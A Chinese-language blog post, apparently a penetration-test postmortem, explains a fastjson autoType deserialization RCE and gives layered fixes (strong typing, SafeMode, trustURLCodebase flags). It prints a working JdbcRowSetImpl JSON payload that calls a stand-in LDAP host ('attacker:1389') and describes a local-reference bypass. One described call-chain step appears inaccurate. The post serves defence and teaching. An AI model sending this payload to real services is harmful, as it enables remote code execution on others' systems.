fastjson autoType 反序列化 RCE 复盘：一条 @type 字段如何走到 JNDI 拿 shell，以及 SafeMode 的正确开启姿势

一、现象：一条 @type 字段，30 秒内拿到了一个 WebShell

上个月给一家做金融 SaaS 的客户做渗透评估，目标是一套 Spring Boot 2.7 + fastjson 1.2.80 的后台，其中有个「第三方回调通知」接口 POST /api/third/notify，请求体是一段 JSON，后端用 JSON.parseObject(body, Object.class) 直接反序列化。我没有绕任何 WAF、没有找 SQL 注入点，只发了一个 68 字节的请求，30 秒后客户运维告警：一台内网应用机出现 /tmp/curl 落盘，且 whoami = appuser。

复盘时最扎心的一句话是：这套系统开了 18 个月，我们一直以为 fastjson 1.2.80「已经修了反序列化」，因为它确实不再支持 autoType 了——可它恰恰因为「默认关闭 autoType」给了我们一种虚假的安全感。真正被打穿的路径，和大多数人想的不一样。

二、根因：autoType 不是开关，autoType 是一条「类加载 → 字段 setter → 危险 sink」的可达路径

先讲机制，才能理解为什么「升级 + 关 autoType」不等于安全。

fastjson 的 autoType 干的事是：当 JSON 里出现 @type: com.xxx.Yyy 时，它用当前 ClassLoader 去 Class.forName 加载这个类，实例化它，然后把 JSON 的其余字段当作 setter 参数喂进去。攻击的价值全在最后一步——只要某个可加载的类，它的某个 setter / setXxx 最终能触达一个危险 sink（JNDI lookup、Runtime.exec、写文件、SSRF），你就有一条从「一个字符串字段」到「任意代码执行」的链。

这次被打穿的链是经典的 JdbcRowSetImpl：

{
  "@type": "com.sun.rowset.JdbcRowSetImpl",
  "dataSourceName": "ldap://attacker:1389/exploit",
  "autoCommit": true
}

setAutoCommit(true) 内部会触发 setInitialPoolSize → JdbcRowSet 的 connect() → 对 dataSourceName 做一次 JNDI lookup。JNDI lookup 到攻击者的 LDAP/RMI，服务端返回一个指向远程 class 的引用，JVM 去下载并实例化那个类——RCE 完成。这条链之所以能通，两个前提缺一不可：

1. JVM 允许从远程 URL 加载 class（老 JDK 的 com.sun.jndi.ldap.object.trustURLCodebase 默认为 true）；
2. fastjson 允许把 @type 指向一个「白名单外但仍在 classpath / 系统库里」的类。

JdbcRowSetImpl 是 JDK 自带的（com.sun.rowset），所以它不在任何 fastjson 黑名单里——黑名单是「已知坏类」的枚举游戏，而攻击者只需要找到一个「setter 能走到 sink」的类，系统库本身就有几十个候选。这就是为什么靠升级 fastjson 版本、靠黑名单，永远是被动的。

三、做法：把「能不能加载类」这件事从应用层彻底拿掉

我按「能少依赖就不依赖」的顺序给四层防线，前两层是治本，后两层是兜底。

1. 首选：换掉「解析成 Object」这个动作本身。 JSON.parseObject(body, Object.class) 是把 JSON 当「任意结构」吃，等价于把 autoType 门半掩着。如果回调结构是已知的，直接绑到强类型：

// 反例：危险，等价于开放 autoType
Object obj = JSON.parseObject(body, Object.class);

// 正例：结构固定，强类型，@type 直接被忽略
NotifyPayload p = JSON.parseObject(body, NotifyPayload.class);

强类型解析下，@type 字段不会被当作类型指令，JdbcRowSetImpl 这条链第一步就断了。

2. 治本：开 SafeMode（1.2.68+ 支持），而不是去调 autoType 白名单。 在 fastjson.properties（或 JVM 参数）里：

fastjson.parser.safeMode=true

SafeMode 的语义是无条件禁用 autoType，且优先级高于 autoTypeSupport 和任何白名单——这是关键，见第五节。1.2.80 默认是「关闭 autoType 但允许白名单」，SafeMode 是「连白名单都不放行」。两者不是一个量级。

3. 兜底：把 JNDI 远程类加载这条路也焊死（防 JDK 侧绕过）。 即使 fastjson 侧全开了，老 JDK 上仍可能有别的 JNDI sink。JDK 8u191 / 7u201 起默认 trustURLCodebase=false，但显式声明更稳，JAVA_OPTS 加：

-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false

4. 检测：上线前用 Layzer 扫一遍 classpath，量化「危险类可达性」。 不要凭感觉说「我们没用到危险类」。Layzer（com.alibaba.security:fastjson 配套的扫描器）静态分析哪些类的 getter/setter 能触达 JNDI / exec / 反射 sink，输出可达链清单。我们那次扫描在 42 秒内从 1.8 万个类里定位出 3 条可达 JNDI 的链，其中 2 条是业务自己写的工具类——这俩才是真正该改的。

四、踩过的坑 / 反直觉之处

• SafeMode 和 autoType 白名单不是一回事，且 SafeMode 会「覆盖」白名单。 我们第一版既开了 autoTypeSupport=true 又配了业务 DTO 白名单，结果 SafeMode 一开，白名单直接失效、业务解析报 autoType is not support。反直觉点：你以为白名单是「加法」，其实 SafeMode 是「一刀切」，业务 DTO 走强类型解析才不受影响。
• 黑名单升级 ≠ 安全。 fastjson 1.2.24 → 1.2.80 一路修，但每次都是「堵一个已知 gadget」，攻击者换个 sink 类就绕过去了。靠版本号判断安全，是这次事故里最贵的错觉。
• JNDI 本地引用绕过。 攻击者不一定走远程 LDAP，ldap://localhost 指向本地已加载的恶意类（先通过别的漏洞把 class 放进来）同样能执行。所以第 3 层的 trustURLCodebase 和「限制应用能加载的 classpath」要一起做。
• fastjson2 默认行为不同，别照搬。 迁移到 fastjson2 后，它默认不开 autoType 且 SafeMode 语义更严，我们一次回归测试里 11 个用 @type 传业务子类型的旧接口全挂了——迁移前必须全量回归序列化协议，不能只看功能。
• 强类型解析不是万能的。 如果 NotifyPayload 里有个 Object extra 字段，攻击者把 @type 塞进 extra 里照样能触发。强类型要「叶子节点也强类型」，别留 Object / Map 这种万能口袋。

五、结论与可复用清单

反序列化的安全边界不在「fastjson 是不是最新版」，而在**「应用是否允许把一个不可信字符串变成一次类加载」**。可复用清单：

1. 禁止 parseObject(x, Object.class)；结构已知的回调一律绑强类型，叶子节点不留 Object/Map；
2. 开 fastjson.parser.safeMode=true，把它当「关总闸」而非「调白名单」；
3. JVM 显式关 JNDI 远程类加载（trustURLCodebase=false，ldap + rmi 都要）；
4. 上线前用 Layzer 扫可达危险类，把「业务自写的工具类」纳入整改（往往比 fastjson 本身的 gadget 更危险）;
5. 不要把「升级 fastjson 版本号」当成安全动作，它只堵已知 gadget；
6. 迁移 fastjson2 前，对全部 @type 序列化协议做全量回归。

一句话：把「能不能根据字符串加载类」这个能力从应用里拿掉，剩下的才是加固；拿不掉，版本号和黑名单都只是拖延时间。